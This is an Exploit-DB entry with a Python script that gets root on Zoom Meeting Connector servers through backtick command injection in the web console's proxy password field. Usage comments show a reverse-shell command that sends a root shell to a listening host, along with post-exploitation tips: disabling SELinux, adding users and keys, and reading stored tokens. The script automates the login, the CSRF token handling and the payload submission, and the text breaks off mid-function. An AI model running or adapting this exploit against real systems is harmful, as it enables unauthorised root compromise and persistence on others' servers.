Exploit-DB #49360
Description: Zoom Meeting Connector 4.6[PII_REDACTED]3 - Remote Root Exploit (Authenticated)
Type: webapps
Platform: linux
Date: 2021-01-05
Author: Jeremy Brown

Exploit:
# Exploit Title: Zoom Meeting Connector 4.6[PII_REDACTED]3 - Remote Root Exploit (Authenticated)
# Date: 12-29-2020
# Exploit Author: Jeremy Brown
# Vendor Homepage: https://support.zoom.us/hc/en-us/articles/201363093-Deploying-the-Meeting-Connector
# Software Link: https://support.zoom.us/hc/en-us/articles/201363093-Deploying-the-Meeting-Connector
# Version: 4.6[PII_REDACTED]3

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# zoomer.py
#
# Zoom Meeting Connector Post-auth Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# The Meeting Connector Web Console listens on port 5480. On the dashboard
# under Network -> Proxy, one can enable a proxy server. All of the fields
# are sanitized to a certain degree, even the developers noting in the proxy()
# function within backend\webconsole\WebConsole\net.py that they explicitly
# were concerned with command injection and attempted to prevent it:
#
# if ('"' in proxy_name) or ('"' in proxy_passwd):  # " double quotes cannot be used to prevent shell injection
#     is_valid = False
#
# It makes sense to leave some flexibility in the character limits here
# passwords are often expected to contain more than alphanumeric characters.
# But of course that means the Proxy Password field is still vulnerable to
# command injection with the ` character.
#
# The proxy data gets concatenated and written to /etc/profile.d/proxy.sh.
# Every three minutes, a task runs which executes this proxy script as root.
# After submission the dashboard says “The proxy will take effect after the
# server reboot!”, but the commands will still be executed within actually
# requiring a reboot. Keep in mind that the commands will be executed blind.
#
# For example, `id>/tmp/proxy_test` given as the Proxy Password will produce
# this in the /tmp/proxy_test file:
#
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
#
# MMR was tested, but Controller and VRC may also be vulnerable
#
# Usage
# > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1"
# login succeeded
# command sent to server
#
# $ nc -u -lvp 5555
# ....
# sh: no job control in this shell
# sh-4.2# pwd
# /root
# sh-4.2#
#
# setenforce 0 if SELinux bothers you, service sshd start and add users/keys,
# check tokens in /opt/zoom/conf/register, check out the local environment, etc.
#
# Dependencies
# - pip install pyquery
#
# Fix
# Zoom says they've fixed this in the latest version
#

import os
import sys
import argparse
import requests
import urllib.parse
from pyquery import PyQuery
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class Zoomer(object):
	def __init__(self, args):
		self.target = args.target
		self.port = args.port
		self.username = args.username
		self.password = args.password
		self.command = args.command

	def run(self):
		target = "https://" + self.target + ':' + str(self.port)

		session = requests.Session()
		session.verify = False

		#
		# get csrftoken from /login and use it to auth with creds
		#
		try:
			resp = session.get(target + "/login")
		except Exception as error:
			print("Error: %s" % error)
			return -1

		try:
			csrftoken = resp.headers['set-cookie'].split(';')[0]
		except:
			print("Error: couldn't parse csrftoken from response header")
			return -1

		csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')

		if(csrfmiddlewaretoken == None):
			return -1

		data = \
			{'csrfmiddlewaretoken':csrfmiddlewaretoken,
			'name':self.username,
			'password':self.password}

		headers = \
			{'Host':self.target + ':' + str(self.port),
			'Referer':target,
			'Cookie':csrftoken}

		try:
			resp = session.post(target + "/login", headers=headers, data=data)
		except Exception as error:
			print("Error: %s" % error)
			return -1

		if(resp.status_code != 200 or 'Wrong' in resp.text):
			print("login failed")
			return -1
		else:
			print("login succeeded")

		#
		# get csrfmiddlewaretoken from /network/proxy and post cmd
		#
		try:
			resp = session.get(target + "/network/proxy")
		except Exception as error:
			print("Error: %s" % error)
			return -1

		csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')

		cookies = session.cookies.get_dict()

		#
		# this happens with view-only users
		#
		if(len(cookies) < 2):
			print("Error: failed to get session ID")
			return -1

		command = '`' + self.command + '`'

		headers = \
			{'Host':self.target + ':' + str(self.port),
			'Referer':target,
			'Cookie': \
				'csrftoken=' + cookies['csrftoken'] + ';' + \
				'sessionid=' + cookies['sessionid']}

		data = \
			{'csrfmiddlewaretoken':csrfmiddlewaretoken,
			'proxyValue':1,
			'proxyAddr':'localhost',
			'proxyPort':8080,
			'proxyName':'test',
			'proxyPasswd':command}

		try:
			resp = session.post(target + "/network/proxy", headers=headers, data=data)
		except Exception as error:
			print("Error: %s" % error)
			return -1

		if(resp.status_code != 200):
			print("something failed")
			return -1
		else:
			print("command sent to server")

		return 0

	def get_token(self, body, name):
		token = None

		pq = PyQuery(body)

		if(name == 'csrftoken'):
			print("csrftoken")

		if(name == 'csrfmiddlewaretoken'):
			token = pq('input').attr('value')

		return token

def arg_parse():
	parser = argparse.ArgumentParser()

	parser.add_argument("target",
						type=str,
						help="Zoom server")

	parser.add_argument("-p",
						"--port",
						type=int,
						default=5480,
						help="Zoom port")

	parser.add_argument("username",
						type=str,
						help="Valid username")

	parser.add_argument("password",
						type=str,
						help="Valid password")

	parser.add_argument("command",